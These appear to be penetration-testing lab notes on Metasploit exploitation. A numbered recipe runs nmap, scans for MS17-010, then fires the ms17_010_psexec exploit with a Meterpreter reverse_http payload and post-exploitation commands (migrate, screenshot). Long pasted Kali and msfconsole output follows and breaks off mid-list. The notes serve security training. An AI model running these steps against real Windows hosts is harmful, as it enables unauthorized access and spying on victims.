Exploitation Basics: Metasploit, Gaining access to machines using vulnerabilities, Custom exploitation scripts, Password brute forcing, Password spraying.

- 1. Know the target System IP address: example: 10.0.2.15
- 2. Scan vulnerability from target system by scanning using Nmap

Example: Nmap 10.0.2.15

- 3. nmap 10.0.2.15 -Pn -sV
- 4. sudo msfconsole
- 5. search smb
- 6. grep scanner search smb auxiliary/scanner/smb/smb_ms17_010
- 7. use auxiliary/scanner/smb/smb_ms17_010
- 8. show options
- 9. set RHOSTS 192.168.152.191 (target ip)
- 10. run
- 11. search smb
- 12. grep exploit search smb
- 13. use exploit/windows/smb/ms17_010_psexec
- 14. show options
- 15. set RHOSTS 192.168.152.191 (target ip)
- 16. set payload (double tap)
- 17. set payload windows/meterpreter/reverse_http
- 18. show options
- 19. exploit

#########System hacked or login failed ####

```
20. sysinfo
   21. help
   22. Ps
   23. migrate 4020
   24. screensh
   25. screenshot
   –(kali⊛kali)-[~]
__$ nmap 192.168.152.191
Starting Nmap 7.94 (https://nmap.org) at 2023-10-02 11:58 EDT
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.10 seconds
  —(kali⊛kali)-[~]
└─$ nmap 192.168.152.191 -Pn
Starting Nmap 7.94 (https://nmap.org) at 2023-10-02 11:58 EDT
Nmap scan report for 192.168.152.191
Host is up (0.0086s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT
              STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5357/tcp open wsdapi
16992/tcp open amt-soap-http
```

If yes

Nmap done: 1 IP address (1 host up) scanned in 5.09 seconds

```
–(kali⊛kali)-[~]
 └─$ nmap 192.168.152.191 -sV
Starting Nmap 7.94 (https://nmap.org) at 2023-10-02 12:04 EDT
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.38 seconds
   –(kali⊛kali)-[~]
└─$ nmap 192.168.152.191 -Pn -sV
Starting Nmap 7.94 (https://nmap.org) at 2023-10-02 12:04 EDT
Nmap scan report for 192.168.152.191
Host is up (0.0085s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT
            STATE SERVICE
                               VERSION
135/tcp open msrpc
                         Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5357/tcp open http
                         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
                        Intel Active Management Technology User Notification Service httpd 11.8.77.3664
16992/tcp open http
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/h:intel:active_management_technology:11.8.77.3664
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.36 seconds
   -(kali⊛kali)-[~]
  -$ sudo msfconsole
%%%%%%
```

%%

%%%

```
%% %% %%%%%%%%%%
%% %% %%%%%%%
%% %%%%%%%%%%%%
%%%%%%%
%%%%% %%%
%%%%
 %%%% %% %% %
  %%
   %%
   %%%%%
     %
     %%%% %% %%%%%% %%
%%%%%
    %% %% % %% %%%% %%%% %%% %%%
%%%%%%%
```

```
=[ metasploit v6.3.27-dev ]
+ -- --=[ 2335 exploits - 1220 auxiliary - 413 post ]
+ -- --=[ 1382 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]
```

Metasploit tip: Use the resource command to run

commands from a file

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search smb

Matching Modules

===========

#	Name	Disclosure Date Rank		Check Description				
0 Mani	exploit/multi/http/struts_code_exec_classloa oulation Remote Code Execution	ader	 2014-03-06	manua	I	No	Apache Struts ClassLoader	
1	exploit/osx/browser/safari_file_policy		2011-10-12	normal		No	Apple Safari file:// Arbitrary Code	
Exec								
2	auxiliary/server/capture/smb		norma	l	No	Auther	ntication Capture: SMB	
3	post/linux/busybox/smb_share_root		norma	l No		BusyBox SMB Sharing		
4	exploit/linux/misc/cisco_rv340_sslvpn		2022-02-02	good	Yes	Cisco I	RV340 SSL VPN Unauthenticated	
Remo	ote Code Execution							
5	auxiliary/scanner/http/citrix_dir_traversal		2019-12-17	normal		No	Citrix ADC (NetScaler) Directory	
Trave	ersal Scanner							
6	auxiliary/scanner/smb/impacket/dcomexec		2018-03-19	normal		No	DCOM Exec	
7	auxiliary/scanner/smb/impacket/secretsdum	np		normal		No	DCOM Exec	
8	auxiliary/scanner/dcerpc/dfscoerce		norma		No	DFSC	perce	
9	exploit/windows/scada/ge_proficy_cimplicity	y_gefebt	2014-0)1-23	excelle	ent Yes	GE Proficy CIMPLICITY gefebt.exe	
Remo	ote Code Execution							
10	exploit/windows/smb/generic_smb_dll_inject	ion	2015-03-04	manua	I	No	Generic DLL Injection From Shared	
Reso	urce							
11	exploit/windows/http/generic_http_dll_injection	on	2015-03-04	manua	I	No	Generic Web Application DLL Injection	
12	exploit/windows/smb/group_policy_startup		2015-01-26	manua	I	No	Group Policy Script Execution From	
Share	ed Resource							

13 exploit/windows/misc/hp_dataprotector_install_service 2		2011-1	1-02	excellent Yes HP Data		Data Protector 6.10/6.11/6.20 Install
Service						
14 exploit/windows/misc/hp_dataprotector_cmd_exec		2014-1	11-02	excelle	ent Yes HP I	Data Protector 8.10 Remote
Command Execution						
15 auxiliary/server/http_ntlmrelay		normal	l	No	HTTP Clien	t MS Credential Relayer
16 payload/cmd/windows/http/x64/custom/reverse_nam	ned_pipe			norma	I No	HTTP Fetch, Windows
shellcode stage, Windows x64 Reverse Named Pipe (SMB	3) Stager					
17 payload/cmd/windows/http/x64/meterpreter/reverse_	_named_pipe			norma	l No	HTTP Fetch, Windows x64
Reverse Named Pipe (SMB) Stager						
18 payload/cmd/windows/http/x64/peinject/reverse_nam	ned_pipe			norma	I No	HTTP Fetch, Windows x64
Reverse Named Pipe (SMB) Stager						
19 payload/cmd/windows/https/x64/custom/reverse_nar				norma	I No	HTTPS Fetch, Windows
shellcode stage, Windows x64 Reverse Named Pipe (SMB	. •					
20 payload/cmd/windows/https/x64/meterpreter/reverse_named_pipe				norma	I No	HTTPS Fetch, Windows x64
Reverse Named Pipe (SMB) Stager						
21 payload/cmd/windows/https/x64/peinject/reverse_na	med_pipe			norma	I No	HTTPS Fetch, Windows x64
Reverse Named Pipe (SMB) Stager					_	
22 exploit/windows/smb/ipass_pipe_exec	2015-	01-21	excelle	ent Yes	IPass Contr	ol Pipe Remote Command
Execution						
23 auxiliary/gather/konica_minolta_pwd_extract		normal		No		olta Password Extractor
24 auxiliary/fileformat/odt_badodt	2018-05-01	normal	l	No	LibreOffice	6.03 /Apache OpenOffice 4.1.5
Malicious ODT File Generator			_			
25 post/linux/gather/mount_cifs_creds		normal	l	No	Linux Gathe	er Saved mount.cifs/mount.smbfs
Credentials						
26 exploit/windows/smb/ms03_049_netapi	2003-	11-11	good	No	MS03-049 I	Microsoft Workstation Service
NetAddAlternateComputerName Overflow						
27 exploit/windows/smb/ms04_007_killbill	2004-	02-10	low	No	MS04-007 I	Microsoft ASN.1 Library Bitstring
Heap Overflow	2024					
28 exploit/windows/smb/ms04_011_lsass	2004-	04-13	good	No	MS04-011 N	Microsoft LSASS Service
DsRolerUpgradeDownlevelServer Overflow	2024	40.40		NI-	M004 004	Allege of New PDE Co. 100 C
29 exploit/windows/smb/ms04_031_netdde	2004-	10-12	good	No	MS04-031	Microsoft NetDDE Service Overflow

30 exploit/windows/smb/ms05_039_pnp	2005-08-09	good	Yes	MS05	-039 Mic	crosoft Plug and	d Play Service
Overflow							
31 exploit/windows/smb/ms06_025_rras	2006-06-13	averaç	ge	No	MS06-0	025 Microsoft F	RRAS Service
Overflow							
32 exploit/windows/smb/ms06_025_rasmans_reg	2006-	06-13	good	No	MS06-0	025 Microsoft F	RRAS Service
RASMAN Registry Overflow							
33 exploit/windows/smb/ms06_040_netapi	2006-08-08	good	No	MS06	-040 Mic	crosoft Server S	Service
NetpwPathCanonicalize Overflow							
34 exploit/windows/smb/ms06_066_nwapi	2006-11-14	good	No	MS06	-066 Mic	crosoft Services	s nwapi32.dll
Module Exploit							
35 exploit/windows/smb/ms06_066_nwwks	2006-11-14	good	No	MS06	-066 Mic	crosoft Services	s nwwks.dll
Module Exploit							
36 exploit/windows/smb/ms06_070_wkssvc	2006-11-14	manua	al	No	MS06-0	070 Microsoft \	Vorkstation
Service NetpManageIPCConnect Overflow							
37 exploit/windows/smb/ms07_029_msdns_zonename	2007-	04-12	manua	al	No	MS07-029 Mid	crosoft DNS RPC
Service extractQuotedChar() Overflow (SMB)							
38 exploit/windows/smb/ms08_067_netapi	2008-10-28	great	Yes	MS08	-067 Mic	rosoft Server S	Service Relative
Path Stack Corruption							
39 exploit/windows/smb/smb_relay	2001-03-31	excelle	ent No	MS08	-068 Mic	crosoft Window	s SMB Relay
Code Execution							
40 exploit/windows/smb/ms09_050_smb2_negotiate_func_ind	ex 2009-	09-07	good	No	MS09-0	050 Microsoft S	SRV2.SYS SMB
Negotiate ProcessID Function Table Dereference							
41 exploit/windows/browser/ms10_022_ie_vbscript_winhlp32	2010-	02-26	great	No	MS10-0	022 Microsoft I	nternet Explorer
Winhlp32.exe MsgBox Code Execution							
42 exploit/windows/smb/ms10_061_spoolss	2010-09-14	excelle	ent No	MS10	-061 Mic	crosoft Print Sp	ooler Service
Impersonation Vulnerability							
43 exploit/windows/fileformat/ms13_071_theme	2013-09-10	excelle	ent No	MS13	-071 Mic	crosoft Window	s Theme File
Handling Arbitrary Code Execution							
44 exploit/windows/fileformat/ms14_060_sandworm	2014-	10-14	excelle	ent No	MS14-0	060 Microsoft \	Vindows OLE
Package Manager Code Execution							

45 exploit/windows/smb/ms17_010_eternalblue	2017-03-14	average	Yes	MS17	7-010 EternalBlue SMB Remote
Windows Kernel Pool Corruption					
46 exploit/windows/smb/ms17_010_psexec	2017-03-14	normal	Yes	MS17	7-010
EternalRomance/EternalSynergy/EternalChampion SMB Remote	e Windows Cod	le Execution			
47 auxiliary/admin/smb/ms17_010_command	2017-03-14	normal	No	MS17	7-010
EternalRomance/EternalSynergy/EternalChampion SMB Remote	e Windows Con	nmand Execu	tion		
48 auxiliary/scanner/smb/smb_ms17_010	norma	al No	MS17	7-010 S	MB RCE Detection
49 auxiliary/dos/windows/smb/ms05_047_pnp		normal	No	Micro	soft Plug and Play Service
Registry Overflow					
50 auxiliary/dos/windows/smb/rras_vls_null_deref	2006-06-14	normal	No	Micro	soft RRAS
InterfaceAdjustVLSPointers NULL Dereference					
51 auxiliary/admin/mssql/mssql_ntlm_stealer	norma	al No	Micro		L Server NTLM Stealer
52 auxiliary/admin/mssql/mssql_ntlm_stealer_sqli		normal	No	Micro	soft SQL Server SQLi NTLM
Stealer					
53 auxiliary/admin/mssql/mssql_enum_domain_accounts_sq	li	norn	nal	No	Microsoft SQL Server SQLi
SUSER_SNAME Windows Domain Account Enumeration					
54 auxiliary/admin/mssql/mssql_enum_domain_accounts		normal	No	Micro	soft SQL Server SUSER_SNAME
Windows Domain Account Enumeration					
55 auxiliary/dos/windows/smb/ms06_035_mailslot	2006-07-11	normal	No	Micro	soft SRV.SYS Mailslot Write
Corruption					
56 auxiliary/dos/windows/smb/ms06_063_trans		normal	No	Micro	soft SRV.SYS Pipe Transaction
No Null					
57 auxiliary/dos/windows/smb/ms09_001_write		normal	No	Micro	soft SRV.SYS WriteAndX Invalid
DataOffset					
58 auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_p	idhigh	norn	nal	No	Microsoft SRV2.SYS SMB
Negotiate ProcessID Function Table Dereference					
59 auxiliary/dos/windows/smb/ms09_050_smb2_session_log	off	norn	nal	No	Microsoft SRV2.SYS SMB2
Logoff Remote Kernel NULL Pointer Dereference					
60 auxiliary/dos/windows/smb/vista_negotiate_stop		normal	No	Micro	soft Vista SP0 SMB Negotiate
Protocol DoS					

	auxiliary/dos/windows/smb/ms10_006_negotiate_res	sponse_	loop			normal		No	Microsoft Wi	indows 7 / Server
	R2 SMB Client Infinite Loop									
	auxiliary/scanner/smb/psexec_loggedin_users				normal		No	Microso	oft Windows	Authenticated
	ed In Users Enumeration									
	exploit/windows/smb/psexec	1999-0	1-01	manua	l	No	Micros	oft Wind	dows Authent	ticated User Code
Exec										
64	auxiliary/dos/windows/smb/ms11_019_electbowser				normal		No			Browser Pool DoS
65	exploit/windows/smb/smb_rras_erraticgopher		2017-0	6-13	averag	е	Yes	Microso	oft Windows	RRAS Service
MIBE	ntryGet Overflow									
66	exploit/windows/smb/smb_shadow		2021-0	2-16	manua	I	No	Microso	oft Windows	SMB Direct Session
Taked	over									
	auxiliary/dos/windows/smb/ms10_054_queryfs_pool_	_overflo	W			normal		No	Microsoft Wi	indows SRV.SYS
SrvSr	mbQueryFsInformation Pool Overflow DoS									
68	exploit/windows/smb/ms10_046_shortcut_icon_dllloa	ader		2010-0	7-16	excelle	nt No	Microso	oft Windows	Shell LNK Code
Exec	ution									
69	exploit/windows/smb/ms15_020_shortcut_icon_dllloa	ader		2015-0	3-10	excelle	nt No	Microso	oft Windows	Shell LNK Code
Execu	ution									
70	auxiliary/docx/word_unc_injector			normal		No	Micros	oft Word	d UNC Path I	njector
71	auxiliary/spoof/nbns/nbns_response			normal		No	NetBIC	S Nam	e Service Sp	oofer
72	exploit/windows/smb/netidentity_xtierrpcpipe		2009-0	4-06	great	No	Novell	NetIden	ntity Agent X	ΓIERRPCPIPE
Name	ed Pipe Buffer Overflow									
73	exploit/netware/smb/lsass_cifs	2007-0	1-21	averag	е	No	Novell	NetWar	e LSASS CII	FS.NLM Driver
Stack	Buffer Overflow									
74	exploit/windows/oracle/extjob	2007-0	1-01	excelle	nt Yes	Oracle	Job Sc	heduler	Named Pipe	e Command
Exec	ution									
75	auxiliary/admin/oracle/ora_ntlm_stealer		2009-0	4-07	normal		No	Oracle	SMB Relay	Code Execution
76	auxiliary/scanner/dcerpc/petitpotam			normal		No	PetitPo	otam	•	
77	payload/cmd/windows/powershell/x64/custom/revers	e_name	ed_pipe	!		normal		No	Powershell E	Exec, Windows
shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager										
78	payload/cmd/windows/powershell/custom/reverse_na	amed_p	ipe			normal		No	Powershell E	Exec, Windows
	code stage, Windows x86 Reverse Named Pipe (SMB		•							
		, 3								

	payload/cmd/windows/powershell/x64/meterpreter/reverse_named_pipe				normal I		No	Powershell Exec, Windows x64
	rse Named Pipe (SMB) Stager							D
	payload/cmd/windows/powershell/x64/peinject/reverse_named_pipe				normal		No	Powershell Exec, Windows x64
	rse Named Pipe (SMB) Stager							D
	payload/cmd/windows/powershell/meterpreter/reverse_name	ed_pipe			normal		No	Powershell Exec, Windows x86
	rse Named Pipe (SMB) Stager							
	payload/cmd/windows/powershell/peinject/reverse_named_	pipe			normal		No	Powershell Exec, Windows x86
	rse Named Pipe (SMB) Stager							
	auxiliary/admin/smb/psexec_ntdsgrab	ı	normal		No	PsExe	c NTDS	dit And SYSTEM Hive
	nload Utility							
84	auxiliary/scanner/sap/sap_smb_relay	ı	normal		No	SAP S		ay Abuse
85	auxiliary/dos/sap/sap_soap_rfc_eps_delete_file			normal		No	SAP S	OAP EPS_DELETE_FILE File
Delet	ion							
86	auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing	ng		normal		No	SAP S	OAP RFC
EPS_GET_DIRECTORY_LISTING Directories Information Disclosure								
87	auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_exist	tence			normal		No	SAP SOAP RFC
PFL_	CHECK_OS_FILE_EXISTENCE File Existence Check							
88	auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir			normal		No	SAP S	OAP RFC
$RZL_{_}$	READ_DIR_LOCAL Directory Contents Listing							
89	auxiliary/fuzzers/smb/smb_create_pipe_corrupt			normal		No	SMB C	Create Pipe Request Corruption
90	auxiliary/fuzzers/smb/smb_create_pipe	ı	normal		No	SMB C	Create P	ipe Request Fuzzer
91	exploit/windows/smb/smb_doublepulsar_rce	2017-04	1-14	great	Yes	SMB D	OUBLE	EPULSAR Remote Code
Exec	ution							
92	exploit/windows/smb/smb_delivery	2016-07	7-26	excelle	nt No	SMB D	elivery	
93	auxiliary/admin/smb/list_directory	ı	normal		No	SMB D	irectory	Listing Utility
94	auxiliary/scanner/smb/smb_enumusers_domain			normal		No	_	omain User Enumeration
95	auxiliary/admin/smb/delete_file	ı	normal		No	SMB F	ile Dele	ete Utility
96	auxiliary/admin/smb/download_file	ı	normal		No	SMB F	ile Dow	nload Utility
97	auxiliary/admin/smb/upload_file	ı	normal		No			oad Utility
98	auxiliary/scanner/smb/smb_enum_gpp	ı	normal		No		•	olicy Preference Saved
	words Enumeration						•	•

99	auxiliary/scanner/smb/smb_login		normal		No	SMB L	ogin Cl	heck Scanner
100	auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt			norma	l	No	SMB N	NTLMv1 Login Request
Corru	otion							
101	auxiliary/fuzzers/smb/smb_negotiate_corrupt			norma	l	No	SMB N	Negotiate Dialect Corruption
102	auxiliary/fuzzers/smb/smb2_negotiate_corrupt			norma	l	No	SMB N	Negotiate SMB2 Dialect
Corru	otion							
103	auxiliary/scanner/smb/smb_lookupsid		normal		No	SMB S	SID Use	er Enumeration (LookupSid)
104	auxiliary/admin/smb/check_dir_file		normal		No	SMB S	Scanner	r Check File/Directory Utility
105	auxiliary/scanner/smb/pipe_auditor		normal		No	SMB S	Session	Pipe Auditor
106	auxiliary/scanner/smb/pipe_dcerpc_auditor			norma	l	No	SMB S	Session Pipe DCERPC Auditor
107	auxiliary/scanner/smb/smb_enumshares			norma	l	No	SMB S	Share Enumeration
108	auxiliary/fuzzers/smb/smb_tree_connect_corrupt			norma	l	No	SMB 7	Tree Connect Request Corruption
109	auxiliary/fuzzers/smb/smb_tree_connect		normal		No	SMB 7	ree Co	nnect Request Fuzzer
110	auxiliary/scanner/smb/smb_enumusers			norma	l	No	SMB (Jser Enumeration (SAM
Enum	Users)							
111	auxiliary/scanner/smb/smb_version		normal		No	SMB \	/ersion	Detection
	auxiliary/dos/smb/smb_loris	2017-06-29	normal		No	SMBL	oris NB	SS Denial of Service
113	exploit/windows/local/cve_2020_0796_smbghost		2020-0	3-13	good	Yes	SMBv:	3 Compression Buffer Overflow
114	exploit/windows/smb/cve_2020_0796_smbghost		2020-0	3-13	averag	je	Yes	SMBv3 Compression Buffer
Overfl	OW							
115	auxiliary/scanner/snmp/snmp_enumshares			norma	l	No	SNMP	Windows SMB Share
Enum	eration							
116	auxiliary/admin/smb/samba_symlink_traversal			norma	l	No	Samba	a Symlink Directory Traversal
117	auxiliary/scanner/smb/smb_uninit_cred		normal		Yes	Samba	a _netr_	_ServerPasswordSet Uninitialized
Crede	ntial State							
118	exploit/linux/samba/chain_reply	2010-06-16	good	No	Samba	a chain_	reply N	Memory Corruption (Linux x86)
119	auxiliary/dos/samba/read_nttrans_ea_list		normal		No	Samba	a read_	nttrans_ea_list Integer Overflow
120	exploit/multi/ids/snort_dce_rpc	2007-02-19	good	No	Snort 2	2 DCE/I	RPC Pr	eprocessor Buffer Overflow
121	exploit/windows/browser/java_ws_double_quote		2012-1	0-16	excelle	ent No	Sun Ja	ava Web Start Double Quote
Injecti	on							

122 exploit/windows/browser/java_ws_arginject_altjvm Argument Injection	2010-04-09	excelle	ent No	Sun Java	Web Start Plugin Co	mmand Line
123 exploit/windows/browser/java_ws_vmargs	2012-02-14	excelle	ent No	Sun Java	Web Start Plugin Co	mmand Line
Argument Injection 124 payload/cmd/windows/tftp/x64/custom/reverse_named_pip			normal	N	o TFTP Fetch, W	indows
shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stage 125 payload/cmd/windows/tftp/x64/meterpreter/reverse named			normal	l N	o TFTP Fetch, W	indows x64
Reverse Named Pipe (SMB) Stager					,	
126 payload/cmd/windows/tftp/x64/peinject/reverse_named_pip Reverse Named Pipe (SMB) Stager	oe		normal	l N	o TFTP Fetch, W	indows x64
127 auxiliary/server/teamviewer_uri_smb_redirect SMB Redirect		norma	I	No Te	eamViewer Unquoted	URI Handler
128 exploit/windows/smb/timbuktu_plughntcommand_bof	200	9-06-25	great	No Ti	mbuktu PlughNTCon	nmand Named
Pipe Buffer Overflow 129 exploit/windows/fileformat/ursoft_w32dasm	2005-01-24	good	No	URSoft V	V32Dasm Disassemb	ler Function
Buffer Overflow						
130 exploit/windows/fileformat/vlc_smb_uri Buffer Overflow	2009-06-24	great	No	VideoLAN	N Client (VLC) Win32	smb:// URI
131 auxiliary/scanner/smb/impacket/wmiexec	2018-03-19	norma	I		/MI Exec	
132 auxiliary/admin/smb/webexec_command Utility		norma		No W	ebEx Remote Comm	and Execution
133 exploit/windows/smb/webexec	2018-10-24	manua	al	No W	ebExec Authenticate	d User Code
Execution 134 post/windows/escalate/droplnk	norr	mal	No	Windows	Escalate SMB Icon L	NK Dropper
135 post/windows/gather/credentials/gpp	norr		No		Gather Group Policy	• •
Saved Passwords					, ,	
136 post/windows/gather/word_unc_injector Path Injector	norr	mal	No	Windows	Gather Microsoft Off	ice Word UNC
137 post/windows/gather/enum_shares Registry	norr	mal	No	Windows	Gather SMB Share E	Enumeration via

138 payload/windows/peinject/reverse_named_pipe		normal	No	Windows Inject PE Files, Windows x86
Reverse Named Pipe (SMB) Stager				
139 payload/windows/x64/peinject/reverse_named_pipe		normal	No	Windows Inject Reflective PE Files,
Windows x64 Reverse Named Pipe (SMB) Stager				
140 payload/windows/x64/meterpreter/reverse_named_pipe		normal	No	Windows Meterpreter (Reflective
Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager				
141 payload/windows/meterpreter/reverse_named_pipe		normal	No	Windows Meterpreter (Reflective
Injection), Windows x86 Reverse Named Pipe (SMB) Stager				
142 post/windows/gather/netlm_downgrade		normal	No	Windows NetLM Downgrade Attack
143 auxiliary/fileformat/multidrop	normal	No Win	dows SM	B Multi Dropper
144 payload/windows/x64/custom/reverse_named_pipe		normal	No	Windows shellcode stage, Windows
x64 Reverse Named Pipe (SMB) Stager				
145 payload/windows/custom/reverse_named_pipe		normal	No	Windows shellcode stage, Windows
x86 Reverse Named Pipe (SMB) Stager				

Interact with a module by name or index. For example info 145, use 145 or use payload/windows/custom/reverse_named_pipe

msf6 > grep scanner search smb						
5 auxiliary/scanner/http/citrix_	dir_traversal	2019-12-17	norma	ıl	No	Citrix ADC (NetScaler) Directory
Traversal Scanner						
6 auxiliary/scanner/smb/impac	cket/dcomexec	2018-03-19	norma	ıl	No	DCOM Exec
,				·		20015
7 auxiliary/scanner/smb/impac	cket/secretsdump		norma	ıİ	No	DCOM Exec
8 auxiliary/scanner/dcerpc/dfs	oooroo	norma		No	DFSC	ooroo
8 auxiliary/scanner/dcerpc/dfs	coerce	norma	II.	No	DESC	oerce
48 auxiliary/scanner/smb/smb n	ns17 010	norma	ı	No	MS17-	-010 SMB RCE Detection
To daxillary/obalillor/offis/offis_fi	1017_010	Horme		110	WO 17	TO SIND ITOE DOLOGION
62 auxiliary/scanner/smb/psexed	loggedin users		norma	ıl	No	Microsoft Windows Authenticated
Logged In Users Enumeration	_ •• _					

76 auxiliary/scanner/dcerpc/petitpotam	normal	No	PetitF	Potam
84 auxiliary/scanner/sap/sap_smb_relay	normal	No	SAP	SMB Relay Abuse
86 auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listin EPS_GET_DIRECTORY_LISTING Directories Information Disclos	_	al	No	SAP SOAP RFC
87 auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_exist		norma	al	No SAP SOAP RFC
PFL_CHECK_OS_FILE_EXISTENCE File Existence Check 88 auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir	norma	al	No	SAP SOAP RFC
RZL_READ_DIR_LOCAL Directory Contents Listing 94 auxiliary/scanner/smb/smb_enumusers_domain	norma	al	No	SMB Domain User Enumeration
98 auxiliary/scanner/smb/smb_enum_gpp	normal	No	SMB	Group Policy Preference Saved
Passwords Enumeration 99 auxiliary/scanner/smb/smb_login	normal	No	SMR	Login Check Scanner
99 auxiliary/scarmer/smb/smb_login	normai	INO	SIVID	Login Check Scanner
103 auxiliary/scanner/smb/smb_lookupsid	normal	No	SMB	SID User Enumeration (LookupSid)
105 auxiliary/scanner/smb/pipe_auditor	normal	No	SMB	Session Pipe Auditor
106 auxiliary/scanner/smb/pipe_dcerpc_auditor	norma	al	No	SMB Session Pipe DCERPC Auditor
107 auxiliary/scanner/smb/smb_enumshares	norma	al	No	SMB Share Enumeration
110 auxiliary/scanner/smb/smb_enumusers	norma	al	No	SMB User Enumeration (SAM
EnumUsers)				
111 auxiliary/scanner/smb/smb_version	normal	No		Version Detection
115 auxiliary/scanner/snmp/snmp_enumshares	norma	al	No	SNMP Windows SMB Share
Enumeration				
117 auxiliary/scanner/smb/smb_uninit_cred	normal	Yes	Samb	oa _netr_ServerPasswordSet Uninitialized
Credential State	0040 00 40			
131 auxiliary/scanner/smb/impacket/wmiexec	2018-03-19 norma	al	No	WMI Exec
msf6 > useInterrupt: use the 'exit' command to quit				
msf6 > use auxiliary/scanner/smb/smb_ms17_010				
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options				

Module options (auxiliary/scanner/smb/smb_ms17_010):

Name Current Setting	Required Description						
CHECK_ARCH true	no	Check for architecture on vulnerable hosts					
CHECK_DOPU true	no	Check for DOUBLEPULSAR on vulnerable hosts					
CHECK_PIPE false	no	Check for named pipe on vulnerable hosts					
NAMED_PIPES /usr/share/metasploit-framework/data	/wordlist	s/named_pipes.txt yes List of named pipes to check					
RHOSTS	yes	The target host(s), see					
https://docs.metasploit.com/docs/using-metasploit/basics	/using-n	netasploit.html					
RPORT 445	yes	The SMB service port (TCP)					
SMBDomain.	no	The Windows domain to use for authentication					
SMBPass	no	The password for the specified username					
SMBUser	no	The username to authenticate as					
THREADS 1	yes	The number of concurrent threads (max one per host)					

View the full module info with the info, or info -d command.

```
msf6 auxiliary(scanner/smb/smb_ms17_010) > set RHOSTS 192.168.152.191 RHOSTS => 192.168.152.191 msf6 auxiliary(scanner/smb/smb_ms17_010) > run
```

- [-] 192.168.152.191:445 An SMB Login Error occurred while connecting to the IPC\$ tree.
- [*] 192.168.152.191:445 Scanned 1 of 1 hosts (100% complete)
- [*] Auxiliary module execution completed msf6 auxiliary(scanner/smb/smb_ms17_010) > search smb

Matching Modules

==========

	#	Name	Disclosure Dat	e Rank	(Check	Descrip	otion				
	-			-								
	0	exploit/multi/http/struts_code_exec_classloa	der	2014-03	3-06	manual		No	Apache	e Struts Clas	ssLoader	
Ν	1anipı	ulation Remote Code Execution										
	1	exploit/osx/browser/safari_file_policy		2011-10	0-12	normal		No	Apple S	Safari file:// <i>F</i>	Arbitrary Code	
Е	xecu	tion										
	2	auxiliary/server/capture/smb			normal		No	Authen	tication	Capture: SN	ИΒ	
	3	post/linux/busybox/smb_share_root			normal		No	BusyBo	ox SMB	Sharing		
	4	exploit/linux/misc/cisco_rv340_sslvpn		2022-02	2-02	good	Yes	Cisco F	RV340 \$	SSL VPN Un	nauthenticated	
F	Remot	te Code Execution										
	5	auxiliary/scanner/http/citrix_dir_traversal		2019-12	2-17	normal		No	Citrix A	NDC (NetSca	aler) Directory	
Т	raver	sal Scanner										
	6	auxiliary/scanner/smb/impacket/dcomexec		2018-0	3-19	normal		No	DCOM	Exec		
	7	auxiliary/scanner/smb/impacket/secretsdum	р			normal		No	DCOM	Exec		
	8	auxiliary/scanner/dcerpc/dfscoerce			normal		No	DFSC	erce			
	9	exploit/windows/scada/ge_proficy_cimplicity	_gefebt		2014-0	1-23	excelle	nt Yes	GE Pro	oficy CIMPLI	CITY gefebt.exe	Э
F	Remot	te Code Execution										
	10	exploit/windows/smb/generic_smb_dll_injecti	on	2015-0	3-04	manual		No	Generi	c DLL Injecti	ion From Shared	d
F	Resou	rce										
	11 (exploit/windows/http/generic_http_dll_injectio	n	2015-0	3-04	manual		No	Generi	c Web Appli	cation DLL Injec	ction
	12	exploit/windows/smb/group_policy_startup		2015-0°	1-26	manual		No	Group	Policy Script	t Execution Fron	n
S	hared	d Resource										
	13	exploit/windows/misc/hp_dataprotector_insta	II_service		2011-1 ²	1-02	excelle	nt Yes	HP Dat	ta Protector	6.10/6.11/6.20 I	nstall
S	ervic	e										
	14	exploit/windows/misc/hp_dataprotector_cmd_	_exec		2014-1	1-02	excelle	nt Yes	HP Dat	ta Protector	8.10 Remote	
C	comm	and Execution										
	15	auxiliary/server/http_ntlmrelay			normal		No	HTTP (Client M	1S Credentia	al Relayer	
	16	payload/cmd/windows/http/x64/custom/revers	se_named_pipe	:			normal		No	HTTP Fetch	n, Windows	
s	hellco	ode stage, Windows x64 Reverse Named Pip	e (SMB) Stager									

17 payload/cmd/windows/http/x64/meterpreter/reverse	_named_	_pipe			normal		No	HTTP Fetch, Windows x64
Reverse Named Pipe (SMB) Stager								
18 payload/cmd/windows/http/x64/peinject/reverse_na	med_pip	е			normal		No	HTTP Fetch, Windows x64
Reverse Named Pipe (SMB) Stager								
19 payload/cmd/windows/https/x64/custom/reverse_na	amed_pip	ре			normal		No	HTTPS Fetch, Windows
shellcode stage, Windows x64 Reverse Named Pipe (SM	,							
20 payload/cmd/windows/https/x64/meterpreter/revers	e_name	d_pipe			normal		No	HTTPS Fetch, Windows x64
Reverse Named Pipe (SMB) Stager								
21 payload/cmd/windows/https/x64/peinject/reverse_n	amed_pi	pe			normal		No	HTTPS Fetch, Windows x64
Reverse Named Pipe (SMB) Stager								
22 exploit/windows/smb/ipass_pipe_exec		2015-0	1-21	excelle	ent Yes	IPass (Control	Pipe Remote Command
Execution								
23 auxiliary/gather/konica_minolta_pwd_extract			normal		No			a Password Extractor
